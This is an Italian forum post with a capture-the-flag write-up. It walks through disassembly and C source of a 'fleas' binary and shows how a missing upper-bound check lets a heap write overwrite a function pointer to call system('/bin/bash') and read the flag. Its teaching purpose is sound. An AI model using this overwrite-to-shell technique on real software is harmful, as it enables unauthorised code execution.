SPAGHETTI HACKER

  1. BASH'S FLEAS - bash
    log.010

    Tags
    bugs
    By AKIRA BASHO il 1 Feb. 2023
     
    0 Comments   27 Views
    .
    W3chxx9

    0x080494aa add esp, 0x10
    0x080494ad sub esp, 8
    0x080494b0 push 0x1c ;28 ;size_t size

    ;qui alloca 28 byte, ma come faccio a capire che è una struttura?

    0x080494b2 push 1 ;1 ;size_t nmeb
    0x080494b4 call sym.imp.calloc ;void *calloc(size_t nmeb, size_t size)

    ;calloc da 28bytes tutti a zero che vengono puntati da var_dch

    0x080494b9 add esp, 0x10
    0x080494bc mov dword [var_dch], eax
    0x080494c2 mov eax, dword [var_dch]
    0x080494c8 lea edx, [ebx - 0x2c19]
    0x080494ce mov dword [eax + 4], edx

    ;è una struttura e esiste un secondo elemento "almeno" puntato da var_dch+4 ;in questo elemento ci va a finire, si scoprirà successivamente, l'indirizzo di una funzione

    0x080494d1 sub esp, 0xc
    0x080494d4 lea eax, [ebx - 0x1f06]
    0x080494da push eax ; const char *s
    0x080494db call sym.imp.puts ; int puts(const char *s)

    typedef struct Dog Dog;
    typedef void speak_func(Dog*);

    struct Dog {
    char* name;
    speak_func* speak;
    int fleas[DOG_NUMPARTS];
    };

    ;è allocata nell'heap memoria per due strutture di tipo dog, che sono contigue; ogni struttura è di 28 bytes, 4 byte per l'indirizzo del nome del cane, 4 byte per l'indirizzo della funzione di speak, e 5*4 bytes per l'array di interi.

    Dog* dog1 = calloc(1, sizeof(*dog1));
    dog1->speak = &dog1_speak;

    printf("What's your first dog's name?\n");
    read_line(name1, sizeof(name1));
    dog1->name = name1;

    say("Okay! Your first dog's name is %s!\n", dog1->name);

    Dog* dog2 = calloc(1, sizeof(*dog2));
    dog2->speak = &dog2_speak;

    printf("What's your second dog's name?\n");
    read_line(name2, sizeof(name2));
    dog2->name = name2;

    0x08049624 add esp, 0x10
    0x08049627 sub esp, 8
    0x0804962a lea eax, [var_e4h]
    0x08049630 push eax
    0x08049631 lea eax, [ebx - 0x1dfc]
    0x08049637 push eax ; const char *format
    0x08049638 call sym.imp.__isoc99_scanf ; int scanf(const char *format)

    ;fa la scanf di qualcosa
    ;e mette il valore in var_e4h
    ;La funzione scanf() restituisce il numero di campi che sono stati convertiti e assegnati correttamente.

    0x0804963d 83c410 add esp, 0x10
    0x08049640 83f801 cmp eax, 1 ; 1

    ;se il valore di ritorno non è uguale a 1 esce.

    0x08049643 741c je 0x8049661

    0x08049645 sub esp, 0xc
    0x08049648 lea eax, [ebx - 0x1df9]
    0x0804964e push eax ; const char *s
    0x0804964f call sym.imp.puts ; int puts(const char *s)

    0x08049654 add esp, 0x10
    0x08049657 sub esp, 0xc
    0x0804965a push 1 ; 1 ; int status
    0x0804965c call sym.imp.exit ; void exit(int status)

    0x08049661 mov eax, dword [var_e4h]
    0x08049667 test eax, eax

    ;esce se è uguale a 0 o inferiore; il problema è qui perchè non viene fatto il controllo sul massimale.

    0x08049669 7f23 jg 0x804968e

    if(flea_location < DOG_HEAD) {
    printf("Invalid choice: %d\n", flea_location);
    exit(EXIT_FAILURE);
    }

    ;posso inserire una flea_location maggiore di 5 e andare a sovrascrivere celle di memoria successive che appartengono alla seconda struttura dog allocata nello heap[/color]

    printf("How many fleas does %s have there?\n", dog1->name);

    int flea_count;
    if(scanf("%d", &flea_count) != 1) {
    printf("Error reading flea count!\n");
    exit(EXIT_FAILURE);
    }

    dog1->fleas[flea_location-1] = flea_count

    ;lo faccio precisamente in questo punto dell'eseguibile

    ;il problema è proprio qui: if(flea_location < DOG_HEAD); c'è il controllo sul limite inferiore, ma non il controllo sul limite superiore; a quel punto flea_count lo puoi andare a scrivere dove ti pare e infatti lo andiamo a scrivere a (8-1)*4 byte di distanza, dove risiede l'indirizzo della seconda funzione speak che verrà chiamata successivamente; noi andrema a scrivere in quei 4 bytes il valore intero 134517777 che è l'indirizzo della dog3_speak in decimale (0x08049411), ma prima setteremo il nome del secondo cane a /bin/bash in modo che la system di dog3_speak eseguirà la nostra shell; a quel punto basta fare il cat del file flag.txt per ottenere la flag della ctf.

    $ objdump -D -M intel fleas | grep dog3
    08049411 <dog3_speak>

    Python 2.7.16
    >>> 0x08049411
    134517777

    void dog3_speak(Dog* dog) {
    say("%s says:\n", dog->name);
    system(dog->name);
    exit(EXIT_SUCCESS);
    }

    Where are /bin/bash's fleas?

    ***************
    *One day later*
    ***************

    *ring ring*
    Hey Bob, it's Alice. I just wanted to give you a call to let you know that all 134517777 of /bin/bash's fleas have been killed.
    Also, your dogs are looking forward to seeing you again soon!
    See?
    /bin/bash says Woof! /bin/bash is a good boy.
    /bin/bash says:
    ls
    flag.txt
    fleas
    cat flag.txt


    Edited by Dr. Pepper - 8/12/2023, 22:12
      Share  
     
    .